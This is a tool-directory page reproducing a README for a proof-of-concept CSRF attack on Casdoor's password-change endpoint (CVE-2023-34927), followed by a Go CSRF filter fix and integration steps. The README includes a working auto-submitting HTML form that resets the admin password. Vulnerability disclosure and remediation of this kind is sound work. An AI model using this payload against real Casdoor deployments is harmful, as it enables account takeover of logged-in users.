Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
csrf_casdoor — Proof-of-concept CSRF exploit for Casdoor's `/api/set-password` endpoint (CVE-2023-34927), enabling unauthorized password changes via cross-site POST requests. Includes a Go-based CSRF filter fix. | Kitploit
Tools/GitHubGitHub/vanlam2001/csrf_casdoor
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthentication
GitHubvanlam2001/csrf_casdoor

csrf_casdoor

Proof-of-concept CSRF exploit for Casdoor's `/api/set-password` endpoint (CVE-2023-34927), enabling unauthorized password changes via cross-site POST requests. Includes a Go-based CSRF filter fix.

View Repository
191 month agoNot yet reviewed
Share

Casdoor – Cross-Site Request Forgery (CSRF)

Summary

  • Vulnerability: CSRF in /api/set-password allowing password changes without consent.
  • Affected versions: All versions of the software are affected. No patched release is currently available.
  • CVE: CVE-2023-34927 (latest yet to be assigned).
  • Exploit author: Van Lam Nguyen.
  • Tested on: Windows

Impact

  • If a victim is logged into Casdoor, a cross-site POST can change the victim’s password (e.g., built-in/admin), leading to account takeover.

Attack Prerequisites

  • Victim is authenticated and has a valid casdoor_session_id cookie.
  • Victim visits a malicious page that auto-submits a POST to /api/set-password.

Proof of Concept

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

Root Cause

  • State-changing endpoints under /api/* accept cookie-authenticated requests without enforcing same-origin checks (Origin/Referer) or CSRF tokens.

Fix Overview

  • Add a server-side CSRF filter to deny cross-site, cookie-based POST/PUT/DELETE/PATCH requests under /api/*.
  • Allow requests that carry explicit non-cookie authentication (e.g., Authorization, Basic auth, client credentials, or accessToken) or requests without browser session cookies (typical server-to-server calls).

Implementation

  • Use routers.CSRFFilter implemented in csrf_filter.go. This filter:
    • Early-returns for non-state-changing methods.
    • Allows requests with explicit non-cookie auth.
    • Blocks cross-site requests when a session cookie is present and the origin does not match the host.

How to Integrate into Casdoor

  1. Copy csrf_filter.go into the existing routers package of the Casdoor project. Do not modify or delete anything in this file.
  2. Register the filter early in the HTTP pipeline (inside main):
    // Beego v1 style
    web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    
    // If your project uses Beego v2 and imports as `web`:
    // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    

Verification

  • After registering the filter, replay the PoC above while logged in. The request should be denied with Unauthorized operation and the server should log CSRF check failed.
  • Cross-origin API calls that include Authorization headers or accessToken parameters should continue to work.

Repository Files

  • csrf_filter.go: CSRF filter to copy into Casdoor’s routers package.
  • poc.html: Minimal page reproducing the CSRF attack.
  • README.md: This document describing the vulnerability and fix steps.

References

  • Casdoor: https://casdoor.org/
  • Version: https://github.com/casdoor/casdoor/releases
  • https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

Video

  • Youtube: https://youtu.be/N5VENgiObjY
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    530
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    479
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    369
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    319
  • 5

    estorides

    grisuno/estorides

    Aggregates 99+ free OSINT sources in parallel, resolves entities into a knowledge graph, and exports STIX 2.1, MISP, or GraphML with LLM-assisted analysis.

    294
  • 6

    opencti

    opencti-platform/opencti

    Open Cyber Threat Intelligence Platform

    266

Explore all tools

Browse our collection of tools

View all tools →